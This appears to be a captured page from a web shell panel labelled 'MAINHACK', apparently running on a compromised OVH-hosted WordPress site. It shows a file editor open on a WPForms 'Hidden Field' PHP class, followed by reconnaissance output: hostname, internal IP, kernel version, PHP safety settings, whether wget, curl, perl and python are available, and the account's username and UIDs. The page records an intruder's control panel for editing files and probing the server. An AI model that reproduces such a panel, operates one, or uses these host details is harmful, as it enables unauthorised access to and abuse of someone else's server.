[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Field.php
<?php namespace WPForms\Forms\Fields\Hidden; use WPForms\Forms\Fields\Traits\ProField as ProFieldTrait; use WPForms_Field; /** * Hidden text field. * * @since 1.9.4 */ class Field extends WPForms_Field { use ProFieldTrait; /** * Primary class constructor. * * @since 1.9.4 */ public function init() { // Define field type information. $this->name = esc_html__( 'Hidden Field', 'wpforms-lite' ); $this->type = 'hidden'; $this->icon = 'fa-eye-slash'; $this->order = 98; $this->group = 'fancy'; $this->allow_read_only = false; $this->default_settings = [ 'label_hide' => '1', ]; $this->init_pro_field(); $this->hooks(); } /** * Hooks. * * @since 1.9.4 */ protected function hooks(): void { add_filter( 'wpforms_field_new_class', [ $this, 'preview_field_new_class' ], 10, 2 ); } /** * Field options panel inside the builder. * * @since 1.9.4 * * @param array $field Field data and settings. */ public function field_options( $field ) { /* * Basic field options. */ // Options open markup. $this->field_option( 'basic-options', $field, [ 'markup' => 'open', 'after_title' => $this->get_field_options_notice(), ] ); // Label. $this->field_option( 'label', $field, [ 'tooltip' => esc_html__( 'Enter text for the form field label. Never displayed on the front-end.', 'wpforms-lite' ), ] ); // Set the label to disable. $this->field_element( 'text', $field, [ 'type' => 'hidden', 'slug' => 'label_disable', 'value' => '1', ] ); // Options close markup. $args = [ 'markup' => 'close', ]; $this->field_option( 'basic-options', $field, $args ); // Advanced options open markup. $this->field_option( 'advanced-options', $field, [ 'markup' => 'open', ] ); // Default value. $this->field_option( 'default_value', $field ); // Custom CSS classes. $this->field_option( 'css', $field ); // Hide Label. $this->field_option( 'label_hide', $field, [ 'class' => 'wpforms-disabled', ] ); // Advanced options close markup. $this->field_option( 'advanced-options', $field, [ 'markup' => 'close', ] ); } /** * Get a new field CSS class. * * @since 1.9.4 * * @param string|mixed $css_class Preview new field CSS class. * @param array $field Field data. * * @return string */ public function preview_field_new_class( $css_class, array $field ): string { $css_class = (string) $css_class; if ( empty( $field['type'] ) || $field['type'] !== $this->type ) { return $css_class; } return trim( $css_class . ' label_hide' ); } /** * Field preview inside the builder. * * @since 1.9.4 * * @param array $field Field data and settings. */ public function field_preview( $field ) { // Define data. $default_value = ! empty( $field['default_value'] ) ? $field['default_value'] : ''; // The Hidden field label is always hidden. $field['label_hide'] = '1'; // Label. $this->field_preview_option( 'label', $field, [ 'label_badge' => $this->get_field_preview_badge(), ] ); // Primary input. echo '<input type="text" class="primary-input" value="' . esc_attr( $default_value ) . '" readonly>'; } /** * Field display on the form front-end. * * @since 1.9.4 * * @param array $field Field data and settings. * @param array $deprecated Not used any more field attributes. * @param array $form_data Form data and settings. */ public function field_display( $field, $deprecated, $form_data ) { } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697